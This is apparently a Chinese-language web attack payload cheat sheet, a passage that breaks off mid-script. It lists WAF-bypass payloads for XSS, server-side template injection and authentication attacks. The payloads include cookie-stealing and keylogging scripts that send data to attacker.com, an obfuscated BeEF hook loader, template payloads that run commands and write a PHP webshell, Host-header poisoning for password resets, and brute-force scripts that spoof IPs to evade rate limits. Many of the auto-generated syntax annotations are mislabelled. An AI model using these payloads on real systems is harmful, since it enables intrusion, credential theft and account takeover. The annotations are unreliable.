存储型XSS xss-stored

存储型跨站脚本攻击技术

WAF 绕过:

SVG标签绕过

使用SVG标签绕过

<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1)>
<svg><set onbegin=alert(1)>

语法解析:

  • <svg> — HTML标签/事件处理器 tag
  • <script> — HTML标签/事件处理器 tag
  • alert(1) — 注入代码 value
  • </script> — HTML标签/事件处理器 tag
  • </svg> — HTML标签/事件处理器 tag
  • — 注入代码 value
  • <svg> — HTML标签/事件处理器 tag
  • <animate onbegin=alert(1)> — HTML标签/事件处理器 tag
  • — 注入代码 value
  • <svg> — HTML标签/事件处理器 tag
  • <set onbegin=alert(1)> — HTML标签/事件处理器 tag

Math标签绕过

使用MathML标签

<math><maction actiontype="statusline#http://attacker.com" xlink:href="javascript:alert(1)">click</maction></math>

语法解析:

  • <math> — HTML标签/事件处理器 tag
  • <maction actiontype="statusline#http://attacker.com" xlink:href="javascript:alert(1)"> — HTML标签/事件处理器 tag
  • click — 注入代码 value
  • </maction> — HTML标签/事件处理器 tag
  • </math> — HTML标签/事件处理器 tag

DOM型XSS xss-dom

基于DOM的跨站脚本攻击

WAF 绕过:

javascript:协议变体绕过

使用大小写混淆、HTML实体编码、制表符插入等方式绕过javascript:协议过滤

javascript:alert(1)
javascript	:alert(1)
jaVaScRiPt:alert(1)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)">click</a>

语法解析:

  • javascript:alert(1) javascript :alert(1) jaVaScRiPt:alert(1) &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1) — 注入代码 value
  • <a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1)"> — HTML标签/事件处理器 tag
  • click — 注入代码 value
  • </a> — HTML标签/事件处理器 tag

SVG/MathML标签与事件处理器绕过

利用SVG、MathML等非标准HTML标签及冷门事件处理器(ontoggle、onpageshow)绕过标签和事件黑名单

<svg onload=alert(1)>
<svg/onload=alert(1)>
<math><mtext><table><mglyph><svg><mtext><textarea><path id="</textarea><img onerror=alert(1) src=1>">
<details open ontoggle=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>

语法解析:

  • <svg onload=alert(1)> — HTML标签/事件处理器 tag
  • <svg/onload=alert(1)> — HTML标签/事件处理器 tag
  • <math> — HTML标签/事件处理器 tag
  • <mtext> — HTML标签/事件处理器 tag
  • <table> — HTML标签/事件处理器 tag
  • <mglyph> — HTML标签/事件处理器 tag
  • <svg> — HTML标签/事件处理器 tag
  • <mtext> — HTML标签/事件处理器 tag
  • <textarea> — HTML标签/事件处理器 tag
  • <path id="</textarea> — HTML标签/事件处理器 tag
  • <img onerror=alert(1) src=1> — HTML标签/事件处理器 tag
  • "> — 注入代码 value
  • <details open ontoggle=alert(1)> — HTML标签/事件处理器 tag
  • <body onpageshow=alert(1)> — HTML标签/事件处理器 tag
  • <input onfocus=alert(1) autofocus> — HTML标签/事件处理器 tag

CSP绕过 xss-csp-bypass

绕过内容安全策略(CSP)的XSS技术

WAF 绕过:

JSONP端点劫持CSP

利用CSP白名单域上的JSONP回调端点或AngularJS库执行任意JavaScript,无需unsafe-inline

# 寻找白名单域上的JSONP端点:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor("alert(1)")()}}</div>

语法解析:

  • # 寻找白名单域上的JSONP端点: — 注入代码 value
  • <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"> — HTML标签/事件处理器 tag
  • </script> — HTML标签/事件处理器 tag
  • <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js"> — HTML标签/事件处理器 tag
  • </script> — HTML标签/事件处理器 tag
  • <div ng-app ng-csp> — HTML标签/事件处理器 tag
  • {{$eval.constructor("alert(1)")()}} — 注入代码 value
  • </div> — HTML标签/事件处理器 tag

base-uri劫持与script nonce泄露

利用CSP未限制base-uri指令劫持脚本加载源,或通过CSS注入/DOM接口泄露script nonce值

# base-uri未限制时:
<base href="http://attacker.com/">
# 页面中相对路径的脚本将从attacker.com加载

# nonce泄露利用:
# 通过CSS注入窃取nonce:
<style>script[nonce^="a"]{background:url(http://attacker.com/?n=a)}</style>
# 或通过DOM读取: document.querySelector("script[nonce]").nonce

语法解析:

  • # base-uri未限制时: — 注入代码 value
  • <base href="http://attacker.com/"> — HTML标签/事件处理器 tag
  • `

页面中相对路径的脚本将从attacker.com加载

nonce泄露利用:

通过CSS注入窃取nonce:

` — 注入代码 value

  • <style> — HTML标签/事件处理器 tag
  • script[nonce^="a"]{background:url(http://attacker.com/?n=a)} — 注入代码 value
  • </style> — HTML标签/事件处理器 tag
  • `

或通过DOM读取: document.querySelector("script[nonce]").nonce` — 注入代码 value


突变型XSS(mXSS) xss-mxss

利用浏览器解析差异导致的XSS攻击

WAF 绕过:

嵌套标签绕过

SVG内脚本编码绕过

<svg><script>&#97;lert(1)</script></svg>
<svg><script>a&#108;ert(1)</script></svg>

语法解析:

  • <svg> — HTML标签/事件处理器 tag
  • <script> — HTML标签/事件处理器 tag
  • &#97;lert(1) — 注入代码 value
  • </script> — HTML标签/事件处理器 tag
  • </svg> — HTML标签/事件处理器 tag
  • — 注入代码 value
  • <svg> — HTML标签/事件处理器 tag
  • <script> — HTML标签/事件处理器 tag
  • a&#108;ert(1) — 注入代码 value
  • </script> — HTML标签/事件处理器 tag
  • </svg> — HTML标签/事件处理器 tag

Unicode XSS xss-unicode

利用Unicode编码特性绕过过滤

WAF 绕过:

混合编码绕过

混合多种编码方式

<img src=x onerror=\u0061&#108;ert(1)>
<img src=x onerror="\u0061lert`1`">

语法解析:

  • <img src=x onerror=\a&#108;ert(1)> — HTML标签/事件处理器 tag
  • — 注入代码 value
  • <img src=x onerror="\alert1"> — HTML标签/事件处理器 tag

过长UTF-8编码

利用服务器UTF-8解析差异

<img src=x onerror=alert(1)>
使用非最短UTF-8编码形式

语法解析:

  • <img src=x onerror=alert(1)> — HTML标签/事件处理器 tag
  • 使用非最短UTF-8编码形式 — 注入代码 value

XSS过滤器绕过 xss-filter-bypass

各种绕过XSS过滤器的技术

WAF 绕过:

Data URI绕过

使用Data URI

<a href="data:text/html,<script>alert(1)</script>">click</a>
<iframe src="data:text/html,<script>alert(1)</script>">

语法解析:

  • <a href="data:text/html,<script> — HTML标签/事件处理器 tag
  • alert(1) — 注入代码 value
  • </script> — HTML标签/事件处理器 tag
  • ">click — 注入代码 value
  • </a> — HTML标签/事件处理器 tag
  • — 注入代码 value
  • <iframe src="data:text/html,<script> — HTML标签/事件处理器 tag
  • alert(1) — 注入代码 value
  • </script> — HTML标签/事件处理器 tag
  • "> — 注入代码 value

SVG动画绕过

SVG动画事件

<svg><animate onbegin=alert(1)>
<svg><set onbegin=alert(1)>

语法解析:

  • <svg> — HTML标签/事件处理器 tag
  • <animate onbegin=alert(1)> — HTML标签/事件处理器 tag
  • — 注入代码 value
  • <svg> — HTML标签/事件处理器 tag
  • <set onbegin=alert(1)> — HTML标签/事件处理器 tag

XSS编码绕过 xss-encoding

利用各种编码技术绕过XSS过滤

WAF 绕过:

双重URL编码

双重URL编码

%253Cscript%253Ealert(1)%253C/script%253E
服务器解码两次时使用

语法解析:

  • %253Cscript%253Ealert(1)%253C/script%253E 服务器解码两次时使用 — 注入代码 value

UTF-16编码

UTF-16编码绕过

%00%3C%00s%00c%00r%00i%00p%00t%00%3Ealert(1)%00%3C/s%00c%00r%00i%00p%00t%00%3E

语法解析:

  • %00%3C%00s%00c%00r%00i%00p%00t%00%3Ealert(1)%00%3C/s%00c%00r%00i%00p%00t%00%3E — 注入代码 value

Polyglot XSS xss-polyglot

多环境通用的XSS payload

WAF 绕过:

高级Polyglot

简洁高效Polyglot

-->'"<svg onload=alert(1)>"><script>alert(1)</script>

语法解析:

  • --> — HTML注释结束符 technique
  • <svg onload=alert(1)> — SVG事件处理器触发XSS tag
  • <script>alert(1)</script> — 脚本标签执行 tag

利用XSS窃取用户Cookie

WAF 绕过:

混淆绕过

变量混淆绕过

<script>var _0x1234="cookie";eval("new Image().src=\"http://attacker.com/?c="+document[_0x1234]+"\"")</script>

语法解析:

  • <script> — HTML标签/事件处理器 tag
  • var _0x1234="cookie";eval("new Image().src=\"http://attacker.com/?c="+document[_0x1234]+"\"") — 注入代码 value
  • </script> — HTML标签/事件处理器 tag

XSS键盘记录 xss-keylogger

利用XSS记录用户键盘输入

WAF 绕过:

混淆版本

十六进制混淆

<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Image().src="http://attacker.com/?k="+_0xb[_0xa[0]]})</script>

语法解析:

  • <script> — HTML标签/事件处理器 tag
  • var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Image().src="http://attacker.com/?k="+_0xb[_0xa[0]]}) — 注入代码 value
  • </script> — HTML标签/事件处理器 tag

BeEF框架利用 xss-beef

使用BeEF框架进行XSS利用

WAF 绕过:

混淆Hook URL

Base64混淆Hook注入

<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw=="))</script>

语法解析:

  • <script> — HTML标签/事件处理器 tag
  • eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw==")) — 注入代码 value
  • </script> — HTML标签/事件处理器 tag

SSTI模板注入

Jinja2模板注入 ssti-jinja2

Jinja2/Twig模板注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

{{''['__cla'+'ss__']}}
{{''|attr('__cla'+'ss__')}}
{{''|attr('\x5f\x5fcla\x5f\x5fss')}}

语法解析:

  • attr() — Jinja2过滤器获取属性 function
  • \x5f — 下划线的十六进制编码 value

使用request对象

通过request参数传递

{{request|attr(request.args.a)}}&a=__class__
{{request|attr(request.args.a)|attr(request.args.b)}}&a=__class__&b=__mro__

语法解析:

  • {{}} — 模板表达式语法 technique
  • __class__ — Python类属性 keyword

FreeMarker模板注入 ssti-freemarker

FreeMarker模板引擎注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

<#assign ex="freemarker.template.utility.Ex"+"ecute"?new()>${ex("id")}
<#assign cls="java.lang.Ru"+"ntime">${cls?new().exec("id")}

语法解析:

  • Ex"+"ecute — 字符串拼接绕过关键字检测 value

使用内置函数

直接实例化执行

${"freemarker.template.utility.Execute"?new()("id")}
${"java.lang.Runtime"?new().exec("id")}

语法解析:

  • EXEC — 执行存储过程 keyword
  • Runtime.exec — Java命令执行 function

Velocity模板注入 ssti-velocity

Velocity模板引擎注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

#set($cmd="i"+"d")
#set($rt=$Class.forName("java.lang.Ru"+"ntime"))
#set($ex=$rt.getRuntime().exec($cmd))

语法解析:

  • #set($cmd="i"+"d") #set($rt=$Class.forName("java.lang.Ru"+"ntime")) #set($ex=$ — 攻击载荷 value

使用Unicode

使用Unicode编码绕过

#set($cmd="id")
#set($rt=$Class.forName("java.lang.Runtime"))
#set($ex=$rt.getRuntime().exec($cmd))

语法解析:

  • \i\d — id的Unicode编码 value

Thymeleaf模板注入 ssti-thymeleaf

Thymeleaf模板引擎注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

${T(java.lang.Run"+"time).getRuntime().exec("i"+"d")}
${T(java.lang.Class).forName("java.lang.Ru"+"ntime").getMethod("getRuntime").invoke(null)}

语法解析:

  • EXEC — 执行存储过程 keyword
  • Runtime.exec — Java命令执行 function

使用反射

使用反射绕过

${T(Class).forName("java.lang.Runtime").getMethod("exec",T(String)).invoke(T(Runtime).getRuntime(),"id")}

语法解析:

  • EXEC — 执行存储过程 keyword
  • Runtime.exec — Java命令执行 function

URL编码

使用字节数组绕过

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{105,100}))}
# 使用字节数组构造命令

语法解析:

  • new byte[]{105,100} — id的ASCII字节 value

Smarty模板注入 ssti-smarty

Smarty模板引擎注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

{system("i"+"d")}
{system("who"."ami")}
{system("ca"."t /etc/passwd")}

语法解析:

  • {system("i"+"d")} {system("who"."ami")} {system("ca"."t — 命令/载荷起始 command
  • /etc/passwd")} — 参数与载荷内容 value

变量赋值

使用变量赋值绕过

{assign var="cmd" value="id"}
{system($cmd)}
{assign var="f" value="sys"."tem"}
{$f("id")}

语法解析:

  • assign — Smarty变量赋值 value
  • value — 变量值 value

使用PHP函数

WAF绕过技术

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{PHP function call}

语法解析:

  • Smarty_Internal_Write_File::writeFile$SCRIPT_NAME<?php — 命令/关键字 command

Mako模板注入 ssti-mako

Mako模板引擎注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

${self.module.cache.util.os.popen("i"+"d").read()}
${self.module.cache.util.os.popen("who"+"ami").read()}

语法解析:

  • $self.module.cache.util.os.popeni+d.read — 命令/关键字 command

使用__import__

使用__import__导入模块

${__import__("os").popen("id").read()}
${__import__("subprocess").check_output(["id"])}

语法解析:

  • __import__ — Python内置导入函数 value

使用getattr

使用getattr绕过

${getattr(__import__("os"),"popen")("id").read()}
${getattr(getattr(__import__("os"),"popen")("id"),"read")()}

语法解析:

  • $getattr__import__ospopenid.read — 命令/关键字 command

Tornado模板注入 ssti-tornado

Tornado模板引擎注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

{% import os %}
{{os.popen("i"+"d").read()}}
{{os.popen("who"+"ami").read()}}

语法解析:

  • {{...}} — 模板表达式 format

使用__import__

使用__import__导入模块

{{__import__("os").popen("id").read()}}
{{__import__("subprocess").check_output(["id"])}}

语法解析:

  • {{...}} — 模板表达式 format

使用handler

通过handler访问

{{handler.application.settings}}
{{handler.get_status()}}
{{handler.request.remote_ip}}

语法解析:

  • {{handler.application.settings}} {{handler.get_status()}} — 模板表达式注入 value

Django模板注入 ssti-django

Django模板引擎注入攻击技术

WAF 绕过:

使用过滤器

使用Django过滤器

{{request|length}}
{{settings.SECRET_KEY|default:""}}
{{request.META|dictsort:"key"}}

语法解析:

  • |length — 长度过滤器 value
  • |default — 默认值过滤器 value

使用for循环

使用for循环遍历

{% for key, value in request.META.items %}{{key}}:{{value}}{% endfor %}
{% for k in settings.keys %}{{k}}{% endfor %}

语法解析:

  • {{...}} — 模板表达式 format

ERB模板注入 ssti-erb

ERB(Ruby)模板引擎注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

<%= `i` + `d` %>
<%= system("wh"+"oami") %>
<%= ("i"+"d").then { |c| system(c) } %>

语法解析:

  • <%= i+d %> <%= system("wh"+"oami") %> <%= ("i"+"d"). — 模板表达式注入 value

使用%语法

使用%x语法执行命令

<%= %x(id) %>
<%= %x{whoami} %>
<%= %x[cat /etc/passwd] %>

语法解析:

  • %x() — Ruby命令执行语法 function

使用Open3

使用Open3模块

<%= require "open3"; Open3.popen3("id") { |i,o,e,t| puts o.read } %>

语法解析:

  • <%= — 命令/关键字 command

Pug/Jade模板注入 ssti-pug

Pug/Jade模板引擎注入攻击技术

WAF 绕过:

字符串拼接

使用字符串拼接绕过

- var cmd = "i" + "d"
#{require("child_process").execSync(cmd).toString()}
- var r = "require"
#{global[r]("child_process")}

使用global

使用global对象

#{global.process.mainModule.require("child_process").execSync("id").toString()}
#{global["req"+"uire"]("child_process")}

语法解析:

  • mainModule — Node.js主模块 value
  • require — 模块加载函数 value

使用this

使用this.constructor

#{this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id")}

语法解析:

  • #this.constructor.constructorreturn — 命令/关键字 command

认证漏洞

认证绕过 auth-bypass

Web应用认证绕过技术

WAF 绕过:

HTTP方法篡改与路径规范化

使用非标准HTTP方法或方法覆盖头绕过基于方法的访问控制,利用URL路径大小写、双斜杠、点号、编码等规范化差异绕过路径匹配

# HTTP方法篡改:
GET /admin HTTP/1.1 → 403
POST /admin HTTP/1.1 → 200
PATCH /admin HTTP/1.1
OPTIONS /admin HTTP/1.1
X-HTTP-Method: PUT
X-HTTP-Method-Override: DELETE

# 路径规范化:
/admin → 403
/ADMIN → 200
/admin/ → 200
//admin → 200
/./admin → 200
/admin..;/ → 200
/%61dmin → 200

语法解析:

  • # HTTP方法篡改: GET /admin HTTP/1.1 → 403 POST /admin HTTP/1.1 → 200 PATCH /admin HTTP/1.1 OPTIONS /admin HTTP/1.1 X-HTTP-Method: PUT X-HTTP-Method-Override: — SQL表达式 value
  • DELETE — SQL关键字 keyword
  • `

路径规范化:

/admin → 403 /ADMIN → 200 /admin/ → 200 //admin → 200 /./admin → 200 /admin..;/ → 200 /%61dmin → 200` — SQL表达式 value

HTTP/2伪头与请求拆分

利用HTTP/2伪头部(:path等)或X-Original-URL/X-Rewrite-URL头覆盖请求路径绕过反向代理ACL,通过IP伪造头绕过基于来源的认证

# HTTP/2伪头绕过:
:method: GET
:path: /admin
:authority: target.com
X-Original-URL: /admin
X-Rewrite-URL: /admin

# Header注入:
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-Host: localhost

语法解析:

  • # HTTP/2伪头绕过: — 主要命令 command
  • ... — 共13行 value

暴力破解 auth-brute

自动化密码猜测攻击

WAF 绕过:

速率限制绕过(HTTP头伪造)

通过伪造X-Forwarded-For等HTTP头绕过基于IP的速率限制

# 通过伪造IP头绕过基于IP的速率限制:
import requests
import random

TARGET = "http://target.com/login"
headers_rotation = [
    "X-Forwarded-For", "X-Real-IP", "X-Originating-IP",
    "X-Remote-Addr", "X-Client-IP", "X-Remote-IP",
    "CF-Connecting-IP", "True-Client-IP", "Forwarded"
]

def brute_with_header_bypass(username, password):
    fake_ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
    h = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
    for header in headers_rotation:
        h[header] = fake_ip
    r = requests.post(TARGET, data={"username": username, "password": password}, headers=h, timeout=10)
    return r

# 每次请求使用不同伪造IP
passwords = ["admin", "123456", "password", "admin123", "root"]
for pwd in passwords:
    r = brute_with_header_bypass("admin", pwd)
    print(f"admin:{pwd} → {r.status_code} ({len(r.text)})")

语法解析:

  • X-Forwarded-For — 告诉后端真实客户端IP的代理头,可伪造 parameter
  • random IP — 每次生成随机IP绕过基于IP的计数器 value

参数污染与大小写绕过

通过参数污染、格式切换、编码混淆绕过WAF对暴力破解的检测

# 参数污染绕过:
# 正常请求(被限制):
curl -d "username=admin&password=test" "http://target.com/login"

# 参数重复(某些后端取最后一个值):
curl -d "username=admin&username=admin&password=test" "http://target.com/login"

# JSON格式切换(如果支持):
curl -H "Content-Type: application/json"   -d '{"username":"admin","password":"test"}' "http://target.com/login"

# 大小写混淆:
curl -d "Username=admin&Password=test" "http://target.com/login"
curl -d "USERNAME=admin&PASSWORD=test" "http://target.com/login"

# Unicode混淆:
curl -d "username=admin&password=test" "http://target.com/login"

# 额外参数注入:
curl -d "username=admin&password=test&captcha=&token=" "http://target.com/login"

# 不同编码:
curl -d "username=admin&password=test" "http://target.com/login" -H "Content-Type: application/x-www-form-urlencoded; charset=IBM037"

语法解析:

  • # 参数污染绕过: — 主要命令 command
  • ... — 共17行 value

会话劫持 auth-session

利用会话管理缺陷劫持或伪造用户会话,获取未授权访问权限

WAF 绕过:

Cookie Jar溢出与Cookie Tossing

通过大量设置Cookie超出浏览器存储上限挤出合法session Cookie,或利用子域名权限向父域注入恶意Cookie实现会话覆盖

# Cookie Jar溢出:
# 设置大量Cookie(超过浏览器上限~50个)使旧Cookie被挤出:
for(let i=0;i<700;i++){document.cookie=`c${i}=x;domain=.target.com`}
# 原有session Cookie被挤出后可注入攻击者的session

# Cookie Tossing(子域注入):
# 从subdomain.target.com设置Cookie:
document.cookie="session=ATTACKER_SID;domain=.target.com;path=/"
# 该Cookie在主域target.com上也生效

语法解析:

  • document.cookie — 获取Cookie variable

SameSite绕过与跨站会话泄露

利用SameSite=Lax允许顶级导航GET请求携带Cookie的特性通过链接点击或window.open发起带凭据的跨站请求

# SameSite=Lax绕过(顶级导航GET请求携带Cookie):
<a href="http://target.com/api/transfer?to=attacker&amount=1000">click</a>
# Lax模式下GET请求会携带Cookie

# SameSite=None利用(需Secure):
# 如果设置了SameSite=None但缺少Secure属性:
# Chrome会拒绝,但旧浏览器可能接受

# 通过window.open绕过:
window.open("http://target.com/api/userinfo")
# 新窗口属于顶级导航,Lax模式下携带Cookie

语法解析:

  • # SameSite=Lax绕过(顶级导航GET请求携带Cookie): — 主要命令 command
  • ... — 共9行 value

密码重置漏洞 auth-password-reset

绕过密码重置流程

WAF 绕过:

Host头投毒多种变体绕过

Host头投毒的多种WAF绕过变体

# 标准Host头投毒:
curl -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"

# X-Forwarded-Host(常被Web框架信任):
curl -H "X-Forwarded-Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"

# 多Host头:
curl -H "Host: target.com" -H "Host: evil.com" -d "email=victim@target.com" "http://target.com/forgot"

# Host中注入端口:
curl -H "Host: target.com@evil.com" -d "email=victim@target.com" "http://target.com/forgot"
curl -H "Host: target.com:evil.com" -d "email=victim@target.com" "http://target.com/forgot"

# 绝对URL覆盖Host:
curl "http://target.com/forgot" -H "Host: evil.com" --request-target "http://target.com/forgot"

# X-Original-URL / X-Rewrite-URL:
curl -H "X-Original-URL: /forgot" -H "Host: evil.com" "http://target.com/forgot"

语法解析:

  • # 标准Host头投毒: — 主要命令 command
  • ... — 共13行 value

Token爆破速率限制绕过

通过IP头轮换和UA随机化绕过重置Token爆破的速率限制

# IP轮换绕过速率限制:
import requests
import random

def try_token(token, proxy=None):
    headers = {
        "X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(0,254)}.{random.randint(0,254)}.{random.randint(1,254)}",
        "User-Agent": random.choice([
            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
            "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)",
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
        ])
    }
    r = requests.post("http://target.com/reset-password",
        data={"token": token, "new_password": "Test123!"},
        headers=headers, timeout=10)
    return r.status_code != 400

# 如果Token是6位数字:
for i in range(0, 1000000):
    token = f"{i:06d}"
    if try_token(token):
        print(f"[+] Valid token: {token}")
        break

语法解析:

  • # IP轮换绕过速率限制: — 主要命令 command
  • ... — 共22行 value

OAuth漏洞 auth-oauth

OAuth认证流程漏洞

WAF 绕过:

Redirect URI绕过技巧合集

多种redirect_uri白名单绕过技术

# 白名单绕过技巧:

# 1. 子域名绕过(如果白名单用后缀匹配):
redirect_uri=http://evil.target.com/callback
redirect_uri=http://target.com.evil.com/callback

# 2. 路径遍历:
redirect_uri=http://target.com/callback/../../../evil-page
redirect_uri=http://target.com/callback/..%2f..%2f..%2fevil-page

# 3. 参数注入:
redirect_uri=http://target.com/callback?next=http://evil.com
redirect_uri=http://target.com/callback%23@evil.com

# 4. 端口注入:
redirect_uri=http://target.com:8080@evil.com/callback

# 5. URL编码绕过:
redirect_uri=http://target.com%40evil.com/callback
redirect_uri=http://target.com%2540evil.com/callback

# 6. localhost/内网绕过:
redirect_uri=http://127.0.0.1/callback
redirect_uri=http://[::1]/callback

# 7. 开放重定向链:
redirect_uri=http://target.com/redirect?url=http://evil.com

语法解析:

  • # 白名单绕过技巧: — 主要命令 command
  • ... — 共20行 value

SAML漏洞 auth-saml

SAML断言攻击

WAF 绕过:

SAML XML混淆绕过WAF

XML编码混淆和多种格式变体绕过WAF对SAML的检测 platform: linux

# 1. XML编码混淆:
# 使用CDATA段包裹payload:
<NameID><![CDATA[admin@target.com]]></NameID>

# 2. DTD定义实体:
<!DOCTYPE foo [<!ENTITY user "admin@target.com">]>
<NameID>&user;</NameID>

# 3. XML命名空间混淆:
<saml:NameID xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
             xmlns:x="http://evil.com">admin@target.com</saml:NameID>

# 4. 编码SAMLResponse的不同方式:
# 标准Base64:
cat saml.xml | base64 -w0
# 带换行的Base64:
cat saml.xml | base64
# URL编码后的Base64:
cat saml.xml | base64 -w0 | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))"

# 5. Deflate+Base64(某些实现接受):
python3 -c "import zlib,base64; print(base64.b64encode(zlib.compress(open('saml.xml','rb').read())).decode())"

语法解析:

  • `# 1. XML编码混淆:

使用CDATA段包裹payload:

<![CDATA[admin@ta` — XML内容 value

  • <!DOCTYPE foo [<!ENTITY user "admin@target.com"> — XML声明/实体定义 tag
  • `]> &user;

3. XML命名空间混淆:

<saml:NameID xml` — XML内容 value


2FA绕过 auth-2fa

绕过双因素认证

WAF 绕过:

响应篡改与直接端点访问

通过拦截并修改2FA验证响应包欺骗前端认为验证通过,或绕过2FA页面直接访问受保护端点测试服务端是否强制校验2FA状态

# 响应篡改(Burp拦截):
# 原始响应: {"success":false,"message":"Invalid OTP"}
# 修改为:   {"success":true,"message":"Valid OTP"}

# 直接跳过2FA步骤:
# 登录后不访问/verify-2fa,直接访问:
GET /dashboard HTTP/1.1
Cookie: session=AFTER_LOGIN_SESSION

# 修改状态参数:
POST /verify-2fa
{"otp":"000000","skip":true}
/verify-2fa?verified=true

语法解析:

  • # 响应篡改(Burp拦截): — 主要命令 command
  • ... — 共11行 value

备份码爆破与验证竞态条件

对2FA备份恢复码进行字典爆破(通常限制不如OTP严格),利用竞态条件并发发送多个OTP验证请求绕过速率限制

# 备份码爆破(通常为8位数字/字母):
# 使用Burp Intruder对backup_code参数进行爆破
POST /verify-backup-code
{"backup_code":"§12345678§"}
# 检查速率限制和锁定策略

# 竞态条件(Race Condition):
# 同时发送多个验证请求:
for i in $(seq 000000 000100); do
  curl -s -X POST "http://target.com/verify-2fa"     -b "session=SID" -d "otp=$i" &
done
wait
# 多线程并发可能绕过速率限制

语法解析:

  • # 备份码爆破(通常为8位数字/字母): — 主要命令 command
  • ... — 共13行 value

验证码绕过 auth-captcha

绕过图形验证码

WAF 绕过:

会话复用与参数移除绕过

测试验证码是否在使用后立即失效(可重复使用),删除captcha参数检查后端是否强制校验,或传入空值、数组等异常类型绕过类型检查

# 会话复用(验证码未一次性失效):
# 1. 正确输入验证码一次
# 2. 后续请求继续使用相同captcha值
# Burp Repeater重放同一captcha参数

# 删除captcha参数:
# 原始: user=admin&pass=123&captcha=ABCD
# 修改: user=admin&pass=123
# 后端可能不校验缺失的参数

# 空值绕过:
captcha=
captcha=null
captcha=undefined
captcha[]=

语法解析:

  • # 会话复用(验证码未一次性失效): — 主要命令 command
  • ... — 共13行 value

OCR识别与音频验证码利用

使用OCR工具(Tesseract)自动识别简单图形验证码,利用音频验证码的语音识别替代方案,或检查响应中是否直接泄露验证码值

# OCR自动识别图形验证码:
# Python + Tesseract:
import pytesseract
from PIL import Image
img = Image.open("captcha.png")
text = pytesseract.image_to_string(img)
print(text)

# 音频验证码利用:
# 使用Google Speech-to-Text API识别音频验证码
# 或使用Selenium自动获取+语音识别

# 验证码响应泄露:
# 检查响应头、Cookie、隐藏字段中是否包含验证码值
curl -v "http://target.com/captcha/generate" 2>&1 | grep -iE "captcha|code|verify"

语法解析:

  • `# OCR自动识别图形验证码:

Python + Tesseract:

import pytesseract ` — SQL表达式 value

  • from — SQL关键字 keyword
  • ` PIL import Image img = Image.open("captcha.png") text = pytesseract.image_to_string(img) print(text)

音频验证码利用:

使用Google Speech-to-Text API识别音频验证码

或使用Selenium自动获取+语音识别

验证码响应泄露:

检查响应头、Cookie、隐藏字段中是否包含验证码值

curl -v "http://target.com/captcha/generate" 2>&1 | grep -iE "captcha|code|verify"` — SQL表达式 value


记住我漏洞 auth-remember-me

Remember Me功能漏洞

WAF 绕过:

Remember-Me Cookie绕过检测

枚举Shiro密钥和不同加密模式绕过检测

# 1. 修改Cookie名称大小写:
curl -b "RememberMe=payload" "http://target.com/"
curl -b "rememberme=payload" "http://target.com/"
curl -b "REMEMBERME=payload" "http://target.com/"

# 2. Shiro密钥枚举(使用不同密钥加密payload):
import base64, itertools
from Crypto.Cipher import AES
import os

keys = [
    "kPH+bIxk5D2deZiIxcaaaA==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
    "4AvVhmFLUs0KTA3Kprsdag==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "wGiHplamyXlVB11UXWol8g==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
]

payload = open("payload.ser", "rb").read()
for k in keys:
    try:
